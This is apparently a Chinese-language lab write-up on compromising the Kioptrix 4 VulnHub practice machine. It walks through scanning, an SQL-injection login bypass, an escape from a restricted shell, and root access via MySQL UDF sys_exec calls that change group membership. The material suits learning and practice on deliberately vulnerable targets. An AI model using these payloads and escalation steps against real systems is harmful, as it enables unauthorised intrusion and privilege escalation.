准备工作
靶机基本信息
靶机名称:Kioptrix Level 1.3 (#4)
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:Bridged(桥接至物理网络)
渗透测试目标:获取靶机root权限和交互式Shell
信息收集
IP地址发现
由于靶机的网络连接方式为Bridged
,物理网络的IP网段为192.168.2.0/24
,所以使用以下命令进行主机发现:
shell
netdiscover -r 192.168.2.0/24
由此确定靶机的IP地址为192.168.2.114
。
网络服务扫描
在扫描之前,先使用ping
命令进行ICMP连通性测试:
shell
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.114
PING 192.168.2.114 (192.168.2.114) 56(84) bytes of data.
64 bytes from 192.168.2.114: icmp_seq=1 ttl=64 time=8.13 ms
64 bytes from 192.168.2.114: icmp_seq=2 ttl=64 time=0.332 ms
64 bytes from 192.168.2.114: icmp_seq=3 ttl=64 time=0.348 ms
64 bytes from 192.168.2.114: icmp_seq=4 ttl=64 time=0.376 ms
--- 192.168.2.114 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.332/2.295/8.126/3.366 ms
看来无需打开nmap
的-Pn
选项,直接扫描即可:
shell
# -A 扫描操作系统及软件版本信息
# -sV 扫描所有TCP端口
nmap -A -sV 192.168.2.114
可以看到终端的输出如下:
据此,整理了靶机的开放服务列表:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
22 | TCP | SSH | OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) |
80 | TCP | HTTP | Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) |
139 445 | TCP | SMB | Samba smbd 3.X - 4.X Samba smbd 3.0.28a |
同时得知靶机操作系统为Ubuntu Linux
,Linux内核版本在2.6.9
至2.6.33
之间。
服务探测
SMB服务
可以看到靶机上开放了SMB
服务,而且扫描出的信息还比较多,所以单独对445
号端口进行一次专门的SMB服务扫描:
shell
enum4linux -a -o -M 192.168.2.114
nmap -p 445 --script=*smb* 192.168.2.114
得出如下信息:
- 目标IP:
192.168.2.114
- NetBIOS:
KIOPTRIX4
- 域/工作组名称:
WORKGROUP
- Samba软件版本:
3.0.28a
- RID Range:
500-550
,1000-1050
- 可能的用户名:
root(1000)
、john(3002)
、loneferret(3000)
、robert(3004)
、guest
、nobody(501)
- 共享名称和目录:IPC`(/tmp)` -- 可读可写、print
(/var/lib/samba/printers)
P.S. 由于扫描出的信息过多,一张图片放不下,请读者尝试自行扫描。
尝试连接上述用户名和共享,发现全部需要密码,连接失败。
最后尝试寻找对应Samba
版本的公开EXP:
shell
searchsploit samba 3.0.28
啊这。。。看上去没有啥能用的。。。
最后选定了如下EXP,试试看:
SSH服务
针对SSH服务的探测没什么好讲的,直接获取banner
信息:
shell
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# nc 192.168.2.114 22
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2
^C
得出靶机OpenSSH的版本为4.7p1
之后,直接searchsploit
一把梭:
shell
searchsploit openssh 4.7
选中如下EXP:
shell
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# searchsploit -m 45001.py
Exploit: OpenSSH < 6.6 SFTP - Command Execution
URL: https://www.exploit-db.com/exploits/45001
Path: /usr/share/exploitdb/exploits/linux/remote/45001.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/hacker/Documents/vulnhub_notes/kioptrix_level_1.3/exp目录/45001.py
HTTP服务
我们在前面已经知道了Apache
的版本号为2.2.8
,现在先让我们使用searchsploit
搜索一下漏洞:
shell
searchsploit apache
最后选中了这个漏洞:
Apache + PHP < 5.3.12 / < 5.4.2
- cgi-bin Remote Code Execution
先行保存。
Web应用程序
打开浏览器,在地址栏中输入网址:http://192.168.2.114/
,进入如下页面:
只有一个登录框。查看源代码,只发现如下信息:
HTML
<!-- More HTML codes ... -->
<tr>
<td align="center" colspan="3" width="300">
<image src="images/cartoon_goat.png"/>
<!-- Image from http://www.wpclipart.com-->
</td>
</tr>
有点没思路,使用dirsearch
扫描试试:
shell
dirsearch -u http://192.168.2.114/ -i 200,301,302
判断目标网站有以下文件及目录:
/images
=> 网站图片文件夹/checklogin.php
=> 登录检测程序/member.php
=> 用户个人空间程序/logout.php
=> 退出登录程序/index.php
=> 网站主页/database.sql
=> 疑似数据库脚本文件泄露
渗透测试
Web应用程序
查看数据库文件
从之前对Web应用程序的扫描中,我们已经得知了网站的数据库脚本文件database.sql
被暴露在了网站目录内 。如果足够幸运的话,我们甚至不需要进行SQL注入就可以直接登录进去。使用wget
命令下载该文件:
shell
┌──(root㉿hacker)-[/home/hacker]
└─# wget http://192.168.2.114/database.sql
--2023-10-18 09:23:36-- http://192.168.2.114/database.sql
正在连接 192.168.2.114:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:298 [text/plain]
正在保存至: "database.sql"
database.sql 100%[======================================================================>] 298 --.-KB/s 用时 0s
2023-10-18 09:23:36 (8.28 MB/s) - 已保存 "database.sql" [298/298])
查看该文件,内容如下:
SQL
CREATE TABLE `members` (
`id` int(4) NOT NULL auto_increment,
`username` varchar(65) NOT NULL default '',
`password` varchar(65) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=2 ;
--
-- Dumping data for table `members`
--
INSERT INTO `members` VALUES (1, 'john', '1234');
从上述SQL脚本文件可以看出,网站的用户数据表有id
,username
,password
三个字段 。还有一条貌似是数据表内的一行记录。
但非常可惜,这是假密码。。。
确认SQL注入
无奈之下开始SQL注入,推测后端SQL语句如下:
SQL
SELECT id FROM `members` WHERE username = '[INPUT]' AND password = '[INPUT]';
输入用户名john
,密码111'
时,报错如下图:
由此确定存在SQL注入,而且SQL的注入点在POST参数mypassword
处,因为在myusername
处加引号没有报错,在mypassword
处就报错了。
尝试使用"万能密码"登录(' or true-- -
),使用"万能密码"后,原本的SQL语句就变成了:
SQL
SELECT id FROM `members` WHERE username = 'john' AND password = '1234' or true -- -';
可以看到原本的查询语句被注释了,结果如下:
SQL注入成功!
登录后台
虽然已经进行了SQL注入,但我们不知道网站的绝对路径在哪里,因此无法写入WebShell,于是登录网站后台查看:
由此可以得知/member.php
页面的作用,以及网站的其中一个登录信息:
- 用户名:
john
- 密码:
MyNameIsJohn
登录受限Shell
编辑~/.ssh/config
文件:
Config
Host 192.168.2.114
HostKeyAlgorithms +ssh-rsa
尝试使用该网站身份凭证通过SSH登录靶机:
成功!
针对Web应用程序的渗透测试结束,进入权限提升阶段。
SMB服务
查看文本内容:
shell
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# cat ./10095.txt
The following proof of concept is available:
smb: \> put aa%3Fbb
这都是什么破玩意儿?????
好吧,看上去这EXP只能在登录之后使用。
针对SMB服务的渗透测试就此结束。
SSH服务
先查看EXP的源代码:
Python
# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux
# The original discovery by Jann Horn: http://seclists.org/fulldisclosure/2014/Oct/35
#
# Adam Simuntis :: https://twitter.com/adamsimuntis
# Mindaugas Slusnys :: https://twitter.com/mislusnys
import paramiko
import sys
import time
from pwn import *
# parameters
cmd = 'touch /tmp/pwn; touch /tmp/pwn2'
host = '192.168.2.114'
port = 22
username = 'root'
password = 'secforce'
看来需要登录才能运行这个EXP。 (不过后续可以用来尝试提权)
针对SSH服务的渗透测试就此结束。
权限提升
受限Shell逃逸
成功是成功了,但是看这个Shell,嘶,不太对啊。。。
尝试执行help
命令看看有啥东西能用的:
shell
john:~$ help
cd clear echo exit help ll lpath ls
执行lpath
:
shell
john:~$ lpath
Allowed:
/home/john
看来这是一个Limited Shell
(即受限制的Shell环境),准备进行逃逸。
首先,尝试执行命令echo $SHELL
:
shell
john:~$ echo $SHELL
*** forbidden path -> "/bin/kshell"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.
检查管道符号:
shell
john:~$ >>
john:~$ <<
john:~$ ||
john:~$ |
john:~$ &&
管道符号正常。
尝试执行命令:echo os.system('/bin/bash')
shell
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
成功!!
使用Termius
软件连接:
MySQL UDF提权
进入Shell之后尝试进行信息收集,首先查看目录下的文件:
shell
john@Kioptrix4:~$ ls -lA
total 20
-rw------- 1 john john 192 2023-10-18 07:12 .bash_history
-rw-r--r-- 1 john john 220 2012-02-04 18:04 .bash_logout
-rw-r--r-- 1 john john 2940 2012-02-04 18:04 .bashrc
-rw-r--r-- 1 john john 252 2023-10-18 07:07 .lhistory
-rw-r--r-- 1 john john 586 2012-02-04 18:04 .profile
发现三个敏感文件.bash_history
、.bash_logout
和.lhistory
,查看一下:
Text
# .bash_history 部分内容
exit
sudo su
clear
ls
cd /home/loneferret
ls
./nc
rm nc
exit
=====================================================================
# .bash_logout 部分内容
## ~/.bash_logout: executed by bash(1) when login shell exits.
## when leaving the console clear the screen to increase privacy
if [ "$SHLVL" = 1 ]; then
[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
=====================================================================
# .lhistory 部分内容
?
help
echo os.system('/bin/bash')
exit
su
sudo
貌似都没有有效的信息。查看下进程:
shell
ps -ef
发现了突破口,MySQL竟然是以root
用户运行的:
那岂不是直接可以用UDF提权了?
在MySQL中,
UDF
是指用户自定义函数 (User-defined functions
),它们是编写在C
或C++
中的特定程序,可以扩展MySQL的功能。UDF提供了一种自定义函数的方式,让开发人员能够在MySQL中使用自己编写的函数。
我们先查看靶机网站目录里的checklogin.php
文件,该文件内一定有MySQL的连接凭证。
shell
find / -name checklogin.php 2> /dev/null # 找到网站根目录为/var/www/
cat /var/www/checklogin.php
PHP代码如下:
PHP
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");
// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];
// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
//$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
//$mypassword = mysql_real_escape_string($mypassword);
//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
//$result=mysql_query($sql);
// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row
if($count!=0){
// Register $myusername, $mypassword and redirect to file "login_success.php"
session_register("myusername");
session_register("mypassword");
header("location:login_success.php?username=$myusername");
}
else {
echo "Wrong Username or Password";
print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>');
}
ob_end_flush();
?>
密码居然是。。。空的????
尝试登录:
这连密码也没有是我万万想不到的。。。
照例先看下数据库之类的:
SQL
show databases;
use mysql;
show tables;
这里发现了一个有意思的数据表mysql.func
:
查看一下里面有啥:
SQL
SELECT * FROM `mysql.func`;
再次震惊。。。好好好,直接送权限是吧。。。
尝试执行一下函数sys_exec
:
SQL
SELECT sys_exec("whoami");
返回的是NULL
值,似乎没有回显,尝试更改john
用户的用户组和登录Shell
:
SQL
SELECT sys_exec('usermod -a -G root john');
SELECT sys_exec('usermod -s /bin/bash john');
第一条SQL用了0.05
秒,第二条用了0.02
秒,看起来是有用的,重新登录试试:
成功更改了用户john
的默认Shell,切换用户组也成功了,但还是无法提权。。。
查看一下靶机里有哪些用户组:
shell
cat /etc/group
图片中被框选的用户组引起了我的兴趣,尝试把john
用户加进去:
SQL
SELECT sys_exec('usermod -a -G admin john');
再次尝试sudo
切换用户:
成功!!!
接下来就是更改root
用户密码:
shell
root@Kioptrix4:~# passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
修改Termius
中的连接配置:
双击连接: